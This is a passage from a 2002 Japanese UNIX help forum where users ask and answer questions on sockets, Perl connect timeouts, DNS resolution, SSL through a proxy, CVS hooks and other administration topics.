        sprintf(send_buf,"NAME=aaa\r\n");
        write(s, send_buf, strlen(send_buf));
という風に作ってみたのですが、ヘッダの方は正常に送信されている
みたいですが、パラメータが正常に送信されていないようなんです。
ご指摘よろしくお願いします。

No. 2848 # かず 2002/07/05 (金) 13:07:33
教えてくれた方、ありがとうございました。
その後四苦八苦してなんとか自分で解決できました。
ありがとうございました。

No. 2849 # 紅絹 2002/07/05 (金) 16:20:07
ご回答ありがとうございます。
ファイル転送についてですが、GETとアップロードの両方おこなうものを作りたいと思っています。説明不足で申し訳ありませんでした。

No. 2850 # しっぽ 2002/07/08 (月) 11:26:17
はじめまして、いつもお世話になっております

PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら
タイムアウト処理を、と言ったことをしたいのですが、以下のプログラムでは
うまく行きませんでした。TCPdumpで見てたところ、何回もSYNを投げなおした後
数分後にやっとエラーメッセージを表示してくれます。

よくよく見てみたところ、リトライの間隔がTimeOutの設定に関係なく
最初は3秒、次が6秒、12,24,48秒となっていて最後に96秒待った後
エラーメッセージを出す動きをしていました。

何かアドバイスなど有りましたらよろしくお願いいたします
なお、PerlのVersionはThis is perl, v5.6.1 built for i386-linux-thread-multi です

    $socket = new IO::Socket::INET (
        PeerAddr => "$address",
        PeerPort => "$port",
        Proto => 'tcp',
        TimeOut => 10 );

    unless ($socket) {
        print STDERR "Connection Error at $date\n";
        close($socket);
        }

No. 2851 # 68user 2002/07/08 (月) 11:53:51
>>2850 しっぽ
> PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら
その辺を管理するのは OS の TCP スタックなので、プログラム側
からはどうにもなりません。

> よくよく見てみたところ、リトライの間隔がTimeOutの設定に関係なく
> 最初は3秒、次が6秒、12,24,48秒となっていて最後に96秒待った後
> エラーメッセージを出す動きをしていました。
これも、そういうものです。

Solaris だとタイムアウトまでの時間を変更できたしますが、その他の
OS では変更できない可能性が高いです。

もし connect 時のタイムアウト処理をしたいという目的ならば、
ノンブロッキングソケットを使いましょう。


>>2847 mattu
> パラメータが正常に送信されていないようなんです。
その判断が間違っているような気がします。そう判断するに至った
根拠が明示されていないので、ただのあてずっぽうですが。

No. 2852 # mattu 2002/07/08 (月) 12:21:48
ご回答ありがとうございます。
別にあてずっぽうではなく、サーバ側でデバックにて確認してみると、渡しているデータが入ってなかったのと、渡されたヘッダ・パラメータがファイルに出力されるようにしており、JAVAで作成したものでしたら正常に出力されるのですが、Cで作成したもので試してみるとヘッダの部分のみ出力されるのでそう思いました。デバック等にはVAJを使用しております。
言葉不足ですみませんでした。

No. 2853 # 68user 2002/07/08 (月) 12:33:13
>>2852 mattu
    - ボディの最後の \r\n は不要 (もし \r\n を付けるなら Content-Length は
        10 であるべき。でも \r\n 付けていいのかな?)
    - リクエストに Content-Type ヘッダは不要
という点を直しても まだボディが渡らないようなら、その C のプログラムが
おかしいんだと思います (てゆーか、Java でうまくいって C でうまくいかない
なら、C の方を疑うべきでしょう)。

詳しくはこちらなど。http://www.studyinghttp.net/headers.html

No. 2854 # シゲ 2002/07/08 (月) 16:24:29
>>2845出来ました。ありがとうございます。

No. 2855 # シド 2002/07/09 (火) 09:45:44
教えてください。
showmountコマンドは、OSのサポートバージョン等が制限されていますか。

showmountコマンドの実行制限が何かありましたら、教えてください。

No. 2856 # mattu 2002/07/09 (火) 14:03:44
ご回答ありがとうございます
Cで作るHTTPクライアントの件ですが、やはりボディが渡りません。
ソースの方を確認しましたが、おかしいと思われる箇所は見つかりませんでした。
環境が原因で渡らないというのはあるんでしょうか?
現在はUNIX上でコンパイル・実行をしてWin2000上のVAJにつないでいるんですが、関係あるのでしょうか?
また、ボディの書き方で何か注意しとくべきことありますでしょうか?
よろしくお願いします。

No. 2857 # 68user 2002/07/10 (水) 00:51:25
>>2856 mattu
> ボディの書き方で何か注意しとくべきことありますでしょうか?
結局何をどうしたのかわからないので、何とも言えません。

    - VAJ をやめて別のサーバ (Apache など) にしてみる
    - パケットをモニタして、java 版と C 版の違いを調べる
あたりをやれば何かわかるんじゃないでしょうか。

>>2856 mattu
>>2855 シド
とりあえず
    http://www.hyuki.com/writing/techask.html
を読んでみてください。

No. 2858 # しっぽ 2002/07/11 (木) 12:37:18
>>2851 68user

ご回答ありがとうございます
そんな気はしてたのですが、やっぱりそうですか

ただ、TimeOut => 10 の所は何に反映されるのかってのがちょっと気になりました。
確か<$socket>やsysreadで読んだときに読むべきデータがないと
TimeOutの時間を過ぎても返ってこなかったと思いますので…

>ノンブロッキングソケットを使いましょう。

これってつまりは「読むべきデータが無いときに待たない」って
事ですよね。Perlでは使えますでしょうか??

確立時の話じゃないですけど、Cのrecvなんかは待たないので
便利だったり不便だったりといった感じではあったのですが…

No. 2859 # 68user 2002/07/11 (木) 20:45:02
>>2850 しっぽ
> PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら
> タイムアウト処理を、と言ったことをしたいのですが
この目的を聞かせてください。connect で数分待ってしまうのがイヤだから
なんとかしたい、ということだと受け取ったのですが、

> Cのrecvなんかは
ということは、read/write のタイムアウト管理 {が or も} 目的なのですか?

No. 2860 # KL 2002/07/12 (金) 09:09:48
>>2850 しっぽ

IO::Socket::INETなんて高級な物を何故そこで使うのかがわかりませんが、
http://www.cotse.com/sw/portscan/halfscan.c
のプログラムと同等のことをPerlからやりたいなら、
http://search.cpan.org/doc/SKOLYCHEV/Net-RawIP-0.09d/RawIP.pm
でなんとかできませんか? libpcapのラッパーなのでそれがmakeに要る
ようです。
タイムアウトは、
>なお、PerlのVersionはThis is perl, v5.6.1 built for i386-linux-thread-multi です
とのことですから、threadを使ってなんとかできそうですが
Perlのthreadなんて使ったこと無いのでどうなのか知りません。
Rubyなら
http://www.goto.info.waseda.ac.jp/~fukusima/ruby/pcap-j.html
なんてのもありますがこっちは目的の機能は無いようにみえます。

No. 2861 # has 2002/07/15 (月) 00:45:53
未だRedhatで名前解決できず、気が向いては眺め、弱っています。
Redhat7.1.94(雑誌に付属)を再インストールしてみましたが、
症状は変わりませんでした。

>>2814 68user
[netstat -s]は、どういった項目をどのような観点から観察したらよいでしょうか?
使ったことも知識も無いので、よかったら今後のためにもアドバイスください。

>>2779 has
いまさら経緯の説明をはじめるのも遅すぎかとは思うのですが、
そもそもこういった状態になったのは、LANからインターネットへの回線が
ISDNからADSLに変わり、それと同時に各ユーザマシンに割り当てられるIPが
グローバルIPからプライベートIPに変わってからでした。
それまではRedhatからでも名前解決に時間がかかりながらも
なんとかアクセスできていました。
# Win2kとのデュアルブートなんですが、ADSLになる以前からも、
# Win2kは素早く名前解決できてRedhatで時間がかかるという差が
# あったことが、既におかしかったのかもしれません…

とりあえず現在の状況はこんな感じでうまくいっていません。
以上ご報告まで。

No. 2862 # HP-UXSE 2002/07/15 (月) 18:21:06
はじめまして。

HP-UX11のインストールをされた方がいらしたら幸いです。
質問があります。
locale -a
で表示されていないロケールを、OSインストール後に、個別でインストールできるでしょうか?OSの入れなおししか、方法は無いでしょうか?

# setenv LANG japanese

を設定しても、Warningが出てしまいます。何とか個別でインストールしたいのですが・・・

乱文ですみません。よろしくお願いします。

No. 2863 # とも 2002/07/19 (金) 21:20:59
はじめまして
現在Solaris2.6 + iPlanet4.0 でWebサーバを利用しています。
先日CGIを使いたいとの要望がありiPlanetに対してCGIの設定を行った
のですが、"Method Not Allow"というエラーがブラウザに表示され、
CGIを実行することができません。
原因がわかる方、ご教授願えないでしょうか。
iPlanetに対して行った設定は下記のようなものです。
<やりたいこと>
〜/cgi/ ディレクトリに設置したcgiファイルを実行したい

1.サーバマネージャで[Program]→[CGI Directory]を選択し、上記ディレクトリをURLにマッピング
2.サーバマネージャで[Program]→[CGI File Type]で上記ディレクトリを選択し、ON状態に設定
3.利用するCGIファイルのパーミッションに777を設定。とりあえず動かすのが目的なのでフルアクセスを許可してみました(^^;

No. 2864 # 68user 2002/07/20 (土) 22:19:14
>>2861 has
えー、混乱してきたのんでまとめると、

    /etc/host.conf
        order hosts,bind
    /etc/resolv.conf
        nameserver 192.168.0.1

    名前解決ができない。
        netscape や perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))" は NG。
        nslookup, host, dig は OK。
            → gethostbyname 系がダメっぽい。
        dig は OK? NG?

    tcpdump の結果
        netscape も perl も query 投げていないようだ。

    strace dig の結果
        socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
        socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
        socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
        socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol)
            connect はしていないようだ (by has)
            → これは dig は名前解決できないという意味? nslookup と host が OK で、
                  dig が NG ならば、ちょっと理解できません。UDP は「connect して send」
                  「connect して send」の両方のやり方がありますが、dig は「conenct
                  して send」するはず (てゆーか大抵の DNS クライアントは connect すると
                  思う)。

    strace perl の結果
        socket(PF_UNIX, SOCK_STREAM, 0) = 3
        connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or directory)
        socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
        connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
        socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
        connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
        → perl (から呼ばれる libc の resolver) は正常動作していると思う。これで
              パケットが飛ばないなら、OS の TCP/IP スタックが腐ってるとしか…。でも
              nslookup や host は OK というなら違うのかなぁ。nslookup や host を
              strace するとどうなるんでしょう。

> [netstat -s]は、どういった項目をどのような観点から観察したらよいでしょうか?
えー、UDP を投げた後 ICMP (かな?) が返ってくるサマを見て、何か
わかるかなーと思いましたが、今考えるとおそらく netstat -s では
原因まではわからないでしょうね。netstat -s については、2〜3ヵ月
以内の UNIX USER に詳しく説明されていましたので (Solaris,FreeBSD,
Linux の netstat -s の違いも含め)、興味があればそちらを。

あと、本当にお困りなら linux.or.jp あたりのメーリングリストで
質問した方が早いと思うですよ (もちろん解決しなくてもいいなら
こっちで続けても構いません)。

No. 2865 # 68user 2002/07/20 (土) 22:31:41
>>2862 HP-UXSE
> locale -a で表示されていないロケールを、OSインストール後に、
> 個別でインストールできるでしょうか?
HP-UX は使ったことがないのでわかりません。僕は Solaris で同じ
ことをする正しい方法を知りたい。

# 昔 ja_JP.eucJP ロケールが入ってなかった Solaris に、他の
# Solaris マシンから/usr/share/locale/ja_JP.eucJP (だったかな?)
# をごっそり持ってきて動かしたことがある。

>>2863 とも
残念ながら iPlanet も使ったことありませんのですよ。

No. 2866 # 68user 2002/07/22 (月) 16:30:46
>>2861 has
そうそう、/etc/nsswitch.conf は
    hosts: files dns
てな感じになってますか?

No. 2867 # しっぽ 2002/07/24 (水) 10:52:32
>>2859 & 2860

レスありがとうございます

>この目的を聞かせてください。connect で数分待ってしまうのがイヤだから
>なんとかしたい、ということだと受け取ったのですが、

サーバーのサービスの監視が目的です。L4SW(サーバーロードバランサー)なんかだと
5秒間隔のSYNに3回連続で応答しなければ死んだと見なすなんてヘルスチェックを
良くやるのですが…、3分にもわたって6回連続で応答しない場合のみ死んだと見なす
ってのはちょっと嬉しくないです

#これ書いててL4SWが余ってるからそれでやっても良いことに気づいた…(^^;

Writeのタイムアウトの方法は知りませんが、readのタイムアウトは以前
$selector->can_read あたりをやってみて上手くできていたような気がします



>IO::Socket::INETなんて高級な物を何故そこで使うのかがわかりませんが、

低水準な物の存在を知らなかったので…
Net::RawIP ってのは名前からして使えそうな気がします。ぐぐるで調べて
何件か出てきたので見てるところですが、ただ今のところ送るのはともかく
その後どうやって受信したら良いかが良くわかってなかったりします
まあAttackingに使うには良いのかも知れませんが

No. 2868 # 68user 2002/07/24 (水) 11:59:32
>>2867 しっぽ
であれば、ずっと connect しっぱなしで定期的にデータを
送り、返答がなければ異常とみなすのはどうでしょうか?

で、connect のタイムアウトですが、IO::Socket のソースをちらっと
見て $SIG{ALRM} やら alarm やら書いてあったので、connect 時にも
タイムアウトが働くはず…と思っていたのですが、実際に試してみると
タイムアウトになりませんでした。なので、

    $SIG{ALRM}=sub { print "SIGALRM!\n"; };
    alarm(10);
    $socket = new IO::Socket::INET (...);
    alarm(0);

こんな感じで。

No. 2869 # 68user 2002/07/24 (水) 12:09:52
>>2868 68user
ちなみに connect 中に SIGALRM が飛んでくると $! (errno) には
    Interrupted system call
が入ります。でも、IO::Socket は内部で $! が潰されてしまう
ようですね。

そういう意味でも、KL さんのおっしゃるとおり高級なものを
使うのは避けた方がよいかも。

No. 2870 # KL 2002/07/25 (木) 22:31:03
>>2867 しっぽ

>何件か出てきたので見てるところですが、ただ今のところ送るのはともかく
>その後どうやって受信したら良いかが良くわかってなかったりします

sendメソッドがありますがrecvが無いですね。
前記の通りRawIPはlibpcapのラッパーなので、libpcapへのインターフェイス
がPerlに露出されてます。キャプチャせよということでしょう。
http://search.cpan.org/doc/SKOLYCHEV/Net-RawIP-0.09d/RawIP/libpcap.pod

halfscan.cを(Perlなり他の手段を経由するなりして)raw socketの使えるシェル
から使えば一番手短に済んで良いと思いますけども。
Perlでなければならない理由が何かあるのでしょうか。また、監視対象のサービ
スも何か分からないので、halfscan.cが一番汎用で楽です。

>まあAttackingに使うには良いのかも知れませんが

どこがどのように良いのでしょう?

>>2868 68user

「connectしっぱなしで対象サービスを監視しているサービスが
正常に動いているか」を監視するサービスが必要で、さらにその
サービスを監視するサービスが...というのを考えつきました 笑
この循環を止めるには、せいぜいhalfscan.cを、切れない回線の
向こうにある落ちないOSから定期実行するか、もしくはしっぽさん
の仰られるような信頼性の高い機械を使うしかないのでは。

No. 2871 # has 2002/07/26 (金) 07:19:53
>>2864 68user
> 名前解決ができない。
nslookup,host,digは動作OKです。

> → これは dig は名前解決できないという意味? nslookup と host が OK で、
> dig が NG ならば、ちょっと理解できません。
strace digについては、dig自体は正常に動作し名前解決しているが、
ご指摘のsend()のコールが見つからないという意味です。
かわりにwrite()のコールがあるので、sendではなくwriteを使っているのでは
と想像していますが、straceで表示されるwriteで送っている文字列(?)は
内容が意味不明で、writeがsendの代わりに使っていると断言する自信は
ありません(dnsライブラリのソースや解説を見たわけではないので)。
実際には次のようになります。

% strace dig www.jp.freebsd.org >& strace-dig.txt
% grep 'write(' strace-dig.txt
write(4, "\t\0\0\0\5\0\0\0\2\0\377\277\266\3066\1\0\240\5\10\340"..., 148) = 148
write(4, "\200-(@\0\0\0\0\0\372\377\277\200T$@\10P<@\3@\0\200\0\0"..., 148) = 148
write(4, "\200-(@\0\0\0\0\20\372\377\277\220q$@XP<@\3@\0\200\0\0"..., 148) = 148
write(4, "\200-(@\0\0\0\0\0\372\377\277 \365$@\350\"\6\10\3@\0\200"..., 148) = 148
write(4, "\200-(@\1\0\0\0\2\4\0\0Ho\26@\320\371\377\2771\220\0@\334"..., 148) = 148
write(6, "\377\377\377\377", 4) = 4
write(4, "\200-(@\1\0\0\0\4\f\0\0\30V(@\260\214\'@\240\224;@\310"..., 148) = 148
write(4, "\200-(@\1\0\0\0\3\10\0\0\376\274\'@\340\"\6\10\260\230"..., 148) = 148
write(4, "\200-(@\2\0\0\0\0\0\0\0*\22:@t\241;@@0<@8\372\377\277\372"..., 148) = 148

> → perl (から呼ばれる libc の resolver) は正常動作していると思う。
確かに正常動作しているように見えます(想像ですが)。

ここで気づいたことがあるのですが、dnsを直接操作するコマンドと
gethostbynameを呼んでいると思われるコマンドで互いのstraceの結果を見比べると、
dns処理のためにオープンしているライブラリが異なっているようです。

またネットを検索していて気づいたのですが、glib2.1.??あたりにバグが
あるらしいです(情報自体は古いですが)。
もしかしたらバグのあるバージョンかもしれないので調べてみます
(今回の名前解決とは関係のないバグかもしれませんが…)。

> netstat -s については、2〜3ヵ月以内の UNIX USER に詳しく説明されていましたので
見つけたら是非読んでみようと思います(書泉行き?)。

> あと、本当にお困りなら linux.or.jp あたりのメーリングリストで
> 質問した方が早いと思うですよ (もちろん解決しなくてもいいなら
> こっちで続けても構いません)。
解決しなくていいわけではないですが、まだねばりたいです。
いつまでも同じ話題でいいかげん飽きている、という気もしますが、
もう少しお付き合いくだせい。

No. 2872 # has 2002/07/26 (金) 07:24:41
>>2866 68user
> そうそう、/etc/nsswitch.conf は
> hosts: files dns
> てな感じになってますか?
ご指摘の記述は存在しました。

No. 2873 # kaworu 2002/07/28 (日) 03:21:28
初めまして。たまにこのホームページにお邪魔させて頂いてます。
FreeBSDのFileSystemについて質問があります。
早速ですが、質問させていただきます。
iノード番号から、struct inodeまたはstruct dinodeを取得する関数(system call)があれば、その関数名を知りたいのですが。
どなたか、ご存知の方はいらっしゃいませんでしょうか?

No. 2874 # しんとろ 2002/08/01 (木) 02:25:47
初めまして。すばらしいサイトですね!
私はまだunix初心者なので、貴サイトにはお世話になっております。

Mewについて調べたところ、
http://www.mew.org/index-j.html
へのリンクが切れてました。
今は
http://www.mew.org/index.html.ja
もしくは
http://www.mew.org/
で行けると思います。

これからも頑張ってください。

No. 2875 # 68user 2002/08/01 (木) 03:21:31
>>2873 kaworu
> iノード番号から、struct inodeまたはstruct dinodeを
> 取得する関数(system call)があれば
たぶんないです。

struct inode や struct dinode は UFS にしか存在しないので、
UFS, NFS, DOS ,ext3, VFAT, FAT32 など、複数のファイルシステムを
サポートしなければならないシステムコールとしては存在しないです。

もしやるなら /dev/da0c などのデバイスを直接オープンすること
になると思いますが、clri, fsck, fsdb などのソースが参考に
なるかもしれません。

>>2871 has
> dns処理のためにオープンしているライブラリが異なっているようです。
とりあえず ldd でどのライブラリを使っているか見たり、nm や
objdump でどの関数を使っているか調べてみるとよいかもしれません。

No. 2876 # 68user 2002/08/01 (木) 03:27:19
>>2875 68user
> struct inode や struct dinode は UFS にしか存在しないので、
ああ、いきなり嘘を書いてしまった。

struct inode はメモリ内 inode なので、全ファイルシステムで
利用可能ですね。

No. 2877 # カトウ [E-mail] 2002/08/12 (月) 10:53:17
はじめまして!!UNIX初心者なのですが、こちらには本当にお世話になっております。
素晴らしいサイトだと思います。
数あるコマンドリファレンス本がほとんど無用になりました。

でも先週、なぜかまったくアクセスできなくなってしまい、大変つらい思いをしました。
こんな聞き方失礼でしょうが、こちら、閉鎖されてしまう予定とかないですよね?
もしなくなってしまったらとてつもなく悲しいです。業務にも支障が出てしまいます(悲しくて(笑))
もし一括ダウンロード等の仕組みがあったらぜひバックアップしておきたいくらいです。
ぜひぜひ永続を願わんことを・・・管理人様の労力を無視した勝手な発言で申し訳ありませんが。

No. 2878 # Ash [E-mail] 2002/08/12 (月) 23:36:23
はじめまして。いつもいつもUNIXの勉強でお世話になっています。
本当に素晴らしいサイトですね。
私もダウンロード等で保存しておきたいぐらいです。
市販の参考書よりもわかりやすく、とても参考になります。
これからもよろしくお願いします。

No. 2879 # hiro [E-mail] 2002/08/20 (火) 18:02:22
はじめまして。UNIX初心者なのが、いつもお世話になってます。
今、会社でHP−UNIX10.20を使用しています。(勉強中)
DATテープにデータをバックアップするのにfbackupコマンドを使用しています。このfbackupでバックアップした内容を確認するコマンドって何ですか?ちなみにtar cvでバックアップした内容の確認はtar tvで確認できますよね?以上、ご存知の方教えてください。

No. 2880 # 68user 2002/08/21 (水) 21:44:18
>>2877 カトウ
> でも先週、なぜかまったくアクセスできなくなってしまい、
> 大変つらい思いをしました。
8/2 あたりから 10日ほどマシンが落ちてました。マシンがリモートに
あるため対応が遅くなり失礼しました。

> こちら、閉鎖されてしまう予定とかないですよね?

現時点では閉鎖予定はないですが、なにぶんにもタダで借りさせていただいて
るものですから、マシンがクラッシュしたらどうなるかわかりません。そしたら
どこかでサーバ探すでしょうが、それもいつになるかわかりませんし、移転の
お知らせはできないかもしれません。

それまでに頑張って man と google だけで問題解決できるようになって
ください。

>>2879 hiro
man fbackup を読みましょう。
    http://www.calpoly.edu/cgi-bin/man-cgi?fbackup
読むのが面倒なら、SEE ALSO の項目だけ見て、それっぽいコマンドを
試しましょう。僕は HP-UX を使ったことがないので、どれがそのコマンド
なのかはわかりません。

No. 2881 # シゲ [E-mail] 2002/08/22 (木) 23:30:28
シゲと申します。
今、red hat 7.1でパッケージソフト開発を行っています。
複数のプロセスが立ち上がるもので、それぞれのメモリー使用量を確認を行っています。
meminfoにより合計のメモリ使用量を測ると13Mぐらいしかないのに、それぞれのプロセスの /proc/(プロセス番号)/status のVmSizeを合計すると、150Mぐらいになってしまいます。
150Mは間違いなく間違っていると思います。
単プロセスのメモリ使用量ってほかに計り方がないのでしょうか?
ご教授お願いします。

No. 2882 # 68user 2002/08/22 (木) 23:39:45
>>2881 シゲ
例えば、ls を同時に 2 プロセス実行していても、メモリ上に配置される /bin/ls の
テキスト領域 (命令文の領域) は 1 つしかありません。同様に libc などのライブラリの
テキスト領域も共有されます。そこらへんで食い違いが出ているのではないかと思います。

> 単プロセスのメモリ使用量ってほかに計り方がないのでしょうか?

どーなんでしょうねー。status の Vm* を足したり引いたりしたら
計算できそうな気もしますが、正確なところはわかりません。

まぁ、ここらへんのテキスト領域をどう計算したいのかにもよると思います。

No. 2883 # シケ゛ [E-mail] 2002/08/23 (金) 00:38:47
ご教授有難うございます。
帰りの電車の中で考えていたら、ひらめきました。
全プロセス立ち上げ時の,/proc/meminfoの全使用メモリ量から、測定したいプロセスをkillしたときの/proc/meminfoの全使用メモリ量を引けば良い気がしました。
しかし、考えてみれば68userさんのおっしゃるとおり、共有メモリが存在するから、正確な結果ではありませんね・・・。

こまったな・・・。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2884 # 68user 2002/08/23 (金) 02:08:32
>>2883 シケ゛
結局は用途次第なわけですが、普通の環境であれば daemon 類が libc を
使っているでしょうから、そこらへんは無視していいでしょう。

あとは、横軸: プロセス数、縦軸: メモリ使用量なグラフでも書いて、
    「n クライアント、m リクエスト/sec だと XX MB 程度必要」
とか書いておけばいいんじゃないでしょうか。

# 手抜き?

No. 2885 # ホームズ 2002/08/28 (水) 11:35:24
はじめまして。
いつもこちらのサイトにお世話になっています。

パスの設定のされていないコマンドにパスを設定するには
どうすればよいのでしょうか(絶対パスでは実行できます)
初歩的な質問で恐縮ですがお教えいただけませんでしょうか。
よろしくお願いいたします。

No. 2886 # 68user 2002/08/28 (水) 13:07:36
>>2885 ホームズ
    % hoge
    hoge: Command not found.
    % /foo/bar/hoge
    (実行できる)

という状況で、hoge とだけタイプすれば実行できるようにするには
どうしたらよいか、ということですか?

環境変数を使うのが一番簡単でしょう。
    % setenv PATH ${PATH}:/foo/bar (csh・tcsh 系)
    $ PATH=${PATH}:/foo/bar; export PATH (sh・bash 系)

csh・tcsh 系なら
      set path=($path /foo/bar)
でもいいです。

No. 2887 # ホームズ 2002/08/28 (水) 13:41:04
お返事ありがとうございます。

68userさんの言われたとおり設定したらできました。
どうもありがとうございました。

No. 2888 # 26歳 [E-mail] 2002/09/04 (水) 21:32:05
初めまして、よろしくおねがいします。

お聞きしたいことがあります。
tar xvzf .tgz
して、うまく展開したのですが、
もう一度 練習で、やってみようと思うと、
Only one compression option permitted
とでてしまいます。
一回しかできないという意味なのでしょうか?

一回、   .tgzを消して試しましたが、同じでした。

初歩的かもわかりませんがよろしくお願いします。
  

No. 2889 # 68user 2002/09/05 (木) 08:35:06
>>2888 26歳
> Only one compression option permitted
    一つの圧縮オプションしか許されていない。
=複数の圧縮オプションを指定することはできない。

というわけで、Z・z・y・j などの圧縮形式を指定するオプションを、
複数個指定したのでしょう。

例えば tar zxvzf とか、tar xvZzf とか。

No. 2890 # Bootick 2002/09/08 (日) 00:28:45
はじめまして、こんにちは。

環境:Redhat7.3
ログインしているユーザが、現在何処のディレクトリにいるか
っていうのを調べることは可能でしょうか?
「who」のオプションであったりしますか?

宜しくお願いします。

No. 2891 # 68user 2002/09/08 (日) 19:19:39
>>2890 Bootick
root 権限があるなら ps -ef eww で環境変数 PWD を見るとか、
/proc の下を覗いてみるとかですかねぇ。

root 権限がないなら無理ではないかと思います。

No. 2892 # コメン 2002/09/10 (火) 17:50:03
telnetやcgiを使って本IPをメモするソースがほしいのですが、どうしたらいいですか?それと出来れば設置方法も教えてほしいです。素人なのでまったく分かりません。PCに詳しい方、お願いします

No. 2893 # はさみ 2002/09/13 (金) 10:58:28
はじめまして。
先日 /dev/null が消えてしまい、少なからずシステムに影響が出てしまいました。
それまで安定稼動していたのに、何故突然消えてしまったのか原因がわかりません。サーバ上で特に作業はしていませんでした。
どなたか同じ現象に遭遇した方いらっしゃいませんか?

No. 2894 # あきゆき 2002/09/19 (木) 10:36:38
はじめまして。
いつもお世話になっています。

Linuxにて「Proxy サーバ経由の SSL 通信」を行おうと考えております。
「ネットワークプログラミングの基礎知識」にSSL 通信の方法が
記載されていますが、Proxy 経由の方法が分からず、現在格闘中です。

Proxy サーバへの接続はできました(HTTP の通信は OK です)。
Linux & C言語の初心者で恐縮ですが、
これらの技術的なアドバイス・参考になるサイトなどがありましたら、
ご教授下さい。

よろしくお願いします。

No. 2895 # 68user 2002/09/19 (木) 12:22:03
>>2894 あきゆき
平文で、
    CONNECT target.host.com:443 HTTP/1.0\r\n
    Host: target.host.com\r\n
    \r\n
を送って、サーバから
    \r\n\r\n
が来るまで読み込み (全データが到着するのを待つ)、その中に " 200 " が
含まれていれば接続成功。

その後は SSL でやりとりする、という方法で一応接続はできています。

(" 200 " が含まれていれば OK などという適当な方法以外の) まっとうな
やり方は知りません

No. 2896 # あきゆき 2002/09/19 (木) 13:34:16
>>2895 68user
早速のご返答、ありがとうございます。

ご指摘のように、"CONNECT 〜"を行い、サーバーから
"HTTP/1.0 200 Connection established"という応答がきたので、
その後、下記の SSL の設定を行いました。
----------
SSL_load_error_strings
SSL_library_init
SSL_CTX_new
SSL_new
SSL_set_fd
SSL_connect←戻り値"0"が返されます。
----------

SSL_connect で TLS/SSL handshake に失敗したので、
SSL_get_error 関数を実行すると "5"が返されました。

現在、これについて調査中ですが、原因が何か分かりますか?
SSL のやりとりに問題がありますでしょうか?
SSL のやりとりは、
「ネットワークプログラミングの基礎知識−SSL でアクセスしてみよう」の
C言語のソースの「/* ここからが SSL */」以下と同様です。
(検証中のため、「SSL でアクセスしてみよう」と同じサイトにアクセスして、結果を得ようとしております)

何卒よろしくお願いします。

No. 2897 # あきゆき 2002/09/19 (木) 14:31:45
>>2896 あきゆき

先程の書込みで不足な情報を追加します。

SSL_get_error で返される値を記載します。

1.SSL_CTX_new(SSLv2_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"6"]

2.SSL_CTX_new(SSLv3_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"5"]

3.SSL_CTX_new(SSLv23_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"5"]

よろしくお願いします。

No. 2898 # あきゆき 2002/09/19 (木) 15:34:26
>>2897 あきゆき

お手数をおかけしました。
「Proxy サーバ経由の SSL 通信」を行うことが出来ました。
Proxy サーバ経由で HTTPS サイトから下記の応答が返されました。
"You have successfully connected using SSL (SSLv2)."

先程の SSL_connect のエラー[返り値"0"]の原因は、
"CONNECT 〜"を送信後の Proxy からの応答待ちの個所でした。

ご迷惑をお掛けして申し訳ありませんでした。
ご返答頂きました 68user さん、誠にありがとうございました。
今後ともよろしくお願いします。

No. 2899 # Kurosawa 2002/09/20 (金) 11:09:58
    お世話になっています。場違いな質問だと思いますが質問させてください。
    CVSでローカルでcommitすればサーバ上で自動的にupdateするようにしたく
loginfoを編集したのですがうまくいきません。
質問が場違いと言ったのは、CVSサーバがUNIX系ではなくウインドウズ環境だからです。cvsntを使ってます。
いろいろ調べた結果loginfoに以下のように書けばよいとの事なんですが
wincvsにてコミットするとエラーがでてしまいます。
diary (date; cat; (sleep 2; cd /home/hoge/diary; cvs -q update -d) &) >> $CVSROOT/CVSROOT/updatelog 2>&1
エラーはnot foundとCould Not Create Child Process (error 2)です。
/home/hoge/diaryや$CVSROOT/CVSROOT/updatelogな書き方がウインドウズでは適用できないと思い
d:\diaryなどに書き換えても駄目でした。

具体的には
loginfo:
test2 (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1
(test2がモジュール名、cvs_test3がupdate先フォルダでいいんですよね?)
エラー:
Executable (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1 not found
Could Not Create Child Process (error 2)

ご存知の方、いらっしゃいましたらご伝授よろしくお願いします。

No. 2900 # Kurosawa 2002/09/20 (金) 14:49:02
自己解決(?)しました。
cvsntを利用した場合、loginfoでの自動更新はできないようです。
WINサーバの場合、cygwinを使用する方法があるみたいなので
その方法を試してみる事にします。
お騒がせしました。

No. 2901 # かなっぺ 2002/09/25 (水) 11:13:07
はじめまして。お力を貸してください。
業務用に、ファイルをアップロードするPerl/CGIを作りました。
エラーもなく動作はしているのですが、巨大なファイルをアップロードするときに、かなりの時間がかかります。
具体的には167MBのファイルをアップロードするのに約40分かかりました。
同じ環境で、同じファイルをFTP(FTP.exe)を使用して転送すると、5分で処理が終了しました。

CGIで時間がかかる原因が、私のソースにあるのか、
CGIのバッファが関係しているのか、それとも他に原因があるのか、
原因の切り分けが出来ずに困っています。

通常、CGIで100MBのファイルをアップロードしようとすると
どれくらいの時間で処理できるのでしょうか?
また、どうすればFTPと同レベルの処理速度に出来るのでしょうか?

ちなみに動作環境はUNIX、線は100BASE、Perl5。
